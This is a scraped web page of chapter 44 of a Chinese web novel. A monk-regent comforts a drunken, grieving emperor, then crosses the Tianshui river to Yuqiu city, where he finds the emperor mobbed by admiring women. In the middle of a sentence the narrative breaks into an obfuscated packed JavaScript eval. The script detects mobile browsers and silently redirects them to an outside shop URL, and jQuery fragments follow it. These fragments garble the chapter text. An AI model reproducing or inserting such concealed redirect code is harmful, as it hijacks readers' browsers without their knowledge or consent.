44. 追
    我良久不能动,身体像僵硬了一样,缓缓地闭上眼,泪落两行,道:“陛下不觉残忍吗?”

    “残忍?”

    九霄痴痴地笑,手指在画上人的眉眼处来回描摹,道:“他要弱水三千,只取一瓢,朕给他那一瓢,无论他活着,还是死了,朕都为他守着,后半生,青灯为伴,直到身死。”

    我的四肢百骸像被冰雪覆盖,僵硬着,不能动。

    他深深地凝望着我,道:“朕知道你的计策,朕也知道,只要朕手书一封,李啻会出来见朕,但朕不想碰她,亦不想见她。”

    我站起身,不想再听下去。

    兜兜转转,又回到原地,他终究是入了魔怔,再难回头。

    将出营帐之时,身后一个暗哑的声音唤道:“叔……”

    我猛一心惊,回头看,却见他又在案上描摹丹青,随后松了一口气,又见他摇摇晃晃,似乎要坠落到地,连忙疾步过去接人接住。

    那人已是醉眼蒙眬,眸中迷离,眼帘微合。

    我扶着他到床边上,掀开被子,正想让他躺下,却被他反手一推压在身下。

    “陛下,”

    我试着喊了一声。

    他只是望着我,眼泪扑扑簌簌往下落,打湿了我的面颊,就像一个委屈的孩子,满肚子的心酸,压下身来,抱着我的脖子,头埋在我肩窝里,醉语而哭,道:“叔。”

    我轻轻地拍着他后背,道:“叔在。”

    他哭得更凶了。

    也不知过了多久,喝醉的人哭累了,睡着了,脸贴着我的胸口,滚烫的面颊红得像玫瑰花一样红。

    我斜靠着床边,别过脸去,看着桌上歪倒着的白玉酒壶,玉浆从壶的嘴口处流淌出来,在桌上成了一片光滑的滩泽。

    两个樽杯,一个放得端端正正,一个倒在地上。

    桌上一盏孤灯跳闪,昏黄的灯光晕染,帐外隐隐听得虫鸣叫醒,不时还有几声鼾声。

    待漆黑的夜空慢慢变得蔚蓝,树梢上的月亮升至中空,又从空中降落,在西边慢慢隐遁,我起身揉了揉发麻的胳膊。

    将人放在床上,刚起身要走,衣袖却被拉住。

    他缓缓地睁开眼,眸子一点一点变得清澈,待看清是我后,赶紧放开手,从床上坐起身来,看着满桌狼藉,像一个做错事的孩子一样,低头道:“国师,昨夜朕……”

    我朝他行过礼,道:“陛下放心,贫僧什么也没听见,什么也没看见。”

    他轻轻嗯了一声,手扶着额头揉了揉,似很难受。

    我低声道:“头疼吗?”

    “嗯。”

    我扶着他道:“陛下宿酒伤身,以后勿要多饮,逝者已矣,何不放下往前看?”

    他靠着床沿边上,望着帐篷圆圆的穹顶,喃喃自语,道:“国师,你说,他会不会还活着?”

    我心咯噔一声,正在弯腰捡杯子的手也停在那里。

    过了一会儿,稳住心神,拿起杯樽,若无其事地放在桌上,道:“陛下为什么这样说?”

    九霄长吁一声,摇头苦笑道:“朕多想了。”

    说完,合上眼,朝我摆手,道:“国师劳累了一夜,退下歇息去吧。”

    我朝他行了礼,弯腰趋步退出账外。

    到了帐外,又听里面咳嗽之声连连。

    两个侍从急忙忙往里面去,道:“陛下,快躺下歇息。”

    傍晚的时候,九霄命大军后退三十里,停驻在天水河,沿河岸安营扎寨,静观其变。

    一连数十日,李啻与李鳍皆未开战,整个楼兰境内似乎都风平浪静。

    我在营寨外徘徊数日,心下暗暗担忧。

    这样僵持下去,时日久了,对三军不利,随即到御帐内奏请,道:“陛下,请允臣到玉丘陵一行。”

    玉丘陵是李鳍现在驻扎的营地。

    如果九霄不想和李啻有牵扯,只能从李鳍下手,当初救下李鳍,也是为了今日之局。

    秦舜,秦翦,沈旆等诸将皆纷纷摇头,不赞同,道:“李鳍为人阴狠歹毒,好色成性,国师身入虎穴,凶多吉少。”

    九霄一直看着我,一言不发。

    夜间,我悄悄起身,将国师衣带叠好,印绶放在其上,并一封修书。

    一身袈裟,一根竹杖,一双草鞋,伐竹为筏,撑着竹篙,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632330|143614||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    渡过天水河,前往玉丘陵。

    玉丘城在楼兰的西北,是一座偏僻的城池,紧挨着莫塔部落。

    对李鳍来说,玉丘城是一个得天独厚的城池,往前可以攻打他的侄女楼兰女王,往后有他母亲莫塔部落做后盾。

    他若一直这样带兵藏在玉丘城也是一件令人十分头疼的事。

    玉丘城内风土人情与大梁迥异。

    这里的人,无论男女都穿着五颜六色艳丽的裙子,头上戴着各种金饰发冠和帽子。

    肤色各异,有的黄色皮肤,有的黑色皮肤,有的棕色,主要以白色皮肤最多。

    姑娘们都水灵灵的,眉毛粗又长,两个大眼睛深邃又多情,在大街之上看男子,也不遮遮掩掩,遇到喜欢的会直勾勾地盯着,毫不避讳,甚至随意表达爱慕之情,当街挑选丈夫。

    若是看上哪个小伙,便将头上花环摘了送给他,若小伙接了戴在自己头上,就可以带着他回到自己的父族部落里成亲。

    我坐在高高的骆驼背上,打着紫色小碎花油纸伞,喝着甜丝丝的越王头,哼着刚学的丘玉城流水小调儿,慢慢悠悠地在最繁华的主街上晃悠。

    正晃着,前面一阵喧哗吵闹。

    许多穿着花花绿绿的女郎将自己头上华丽的珍珠花环摘下来,举过头顶,使劲往里面挤,一边挤,一边嚷道:

    “漂亮的郎君,跟我回家呀!我阿爸是镇上的首长。”

    “俊郎君,跟我回家,我家有三十亩良田。”

    “美丽的郎君,你要是跟我回家,我给你最华丽的婚礼。”

    “……”

    我忍不住笑,心道:谁家儿郎如此有魅力,扰乱一街春心?

    翘首看去,只见那人发如天瀑,从肩披落而下,肤美如洁白的雪莲花,一双眸子好似雪山圣泉。

    脸颊白里透红,透着几分局促不安,双眉如描似画,美姿仪,矜持自然天生,贵气从来就有。

    一身华彩衣服穿在身上,如金凤凰展翅欲飞,又好似青鸾鸣于九天,引得一条街上男女老少躁动围看。

    这俊美的郎儿,不是我那本该在天水河营寨里的皇帝侄儿,又是何人?